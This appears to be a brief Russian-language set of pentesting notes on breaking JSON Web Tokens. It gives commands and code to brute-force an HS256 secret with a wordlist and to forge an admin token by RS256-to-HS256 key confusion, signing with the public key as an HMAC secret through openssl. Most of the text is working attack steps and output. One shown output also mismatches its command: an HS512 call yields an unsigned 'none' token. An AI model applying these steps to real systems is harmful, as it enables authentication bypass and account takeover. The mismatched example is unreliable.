JSON Web Token (JWT) \\ Брут токена crackjwt.py
Crack the shared secret of a HS256-signed JWT. Contribute to Sjord/jwtcrack development by creating an account on GitHub.
github.com
crackjwt.py
jwt2john.py
python3.9 crackjwt.py /home/xk/Desktop/jwt_key.txt /home/xk/soft/pass/top/top_pass.txt
если пароль подобран, собираем свой токен:
в Python
>>> import jwt
>>> jwt.encode({"username":"admin"}, 'подобранный пароль', algorithm='HS512')
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'
JSON Web Token (JWT) - Public \ Private key \\взлом токена подписанного ключем RSA
получаем открытый ключ и токен
расшифровываем токен и забираем полезную нагрузку
jwt.encode({'username': 'admin'}, '', algorithm='HS256') = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0 = полезная нагрузка
кодируем публичный ключ ( в конце ключа новая строка) в последовательность HEX-ов ( через BurpSuite Decoder= Encode ASCII hex)
например ключ:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5naQyyA5EqLyoRN9gdTd
kgkg8io1TllN778XEpyV6xrUj0TQ8+XlwG+wciB5xshcqVMhf5PuegMBh6GPxArt
p8QIurEFVtCvUz2GSR64spGvxLo4YP3F3e0iloBKu8DKs4+tc9NBXHTPP/1fH0xY
egalTs4dawQMaN4rI84kMSjDmRwy2Pobx3FALxY7rDyys7XR/N7cUcttUMW3nDP6
7R+R8LyuMED3N6JsPsJBatMsZDluAYW8rKXEfECu/mIHaLW6MkhwNatU1+6B+kSu
a2NyHBc/9V+0mwCngIYAeUk+y3Hrhyll2Bj/xQpXMRZZKcwDLVfFgwqtBqGPQr6F
ZQIDAQAB
-----END PUBLIC KEY-----
в hex: 2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541356e61517979413545714c796f524e39676454640a6b676b6738696f31546c6c4e3737385845707956367872556a305451382b586c77472b77636942357873686371564d686635507565674d4268364750784172740a703851497572454656744376557a32475352363473704776784c6f3459503346336530696c6f424b7538444b73342b7463394e4258485450502f3166483078590a6567616c547334646177514d614e34724938346b4d536a446d52777932506f62783346414c78593772447979733758522f4e376355637474554d57336e4450360a37522b52384c79754d4544334e364a7350734a4261744d735a446c7541595738724b5845664543752f6d4948614c57364d6b68774e617455312b36422b6b53750a61324e794842632f39562b306d77436e6749594165556b2b7933487268796c6c32426a2f785170584d525a5a4b6377444c5666466777717442714750517236460a5a514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
А теперь подпишем себе токен:
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541356e61517979413545714c796f524e39676454640a6b676b6738696f31546c6c4e3737385845707956367872556a305451382b586c77472b77636942357873686371564d686635507565674d4268364750784172740a703851497572454656744376557a32475352363473704776784c6f3459503346336530696c6f424b7538444b73342b7463394e4258485450502f3166483078590a6567616c547334646177514d614e34724938346b4d536a446d52777932506f62783346414c78593772447979733758522f4e376355637474554d57336e4450360a37522b52384c79754d4544334e364a7350734a4261744d735a446c7541595738724b5845664543752f6d4948614c57364d6b68774e617455312b36422b6b53750a61324e794842632f39562b306d77436e6749594165556b2b7933487268796c6c32426a2f785170584d525a5a4b6377444c5666466777717442714750517236460a5a514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
получается = b078f4114511e5931f1437d169642d828d98f329d76be0a90a1df3d83fcc2f17
подпись должна быть base64url:
python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('b078f4114511e5931f1437d169642d828d98f329d76be0a90a1df3d83fcc2f17')).replace('=','')\")"
получается: 0AVBTLk7LyXpvbAf8Ujf8oJj16l76JkO4oDzbjvi8bI
ну и собираем токен: полезная назрузка + подписанный:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.0AVBTLk7LyXpvbAf8Ujf8oJj16l76JkO4oDzbjvi8bI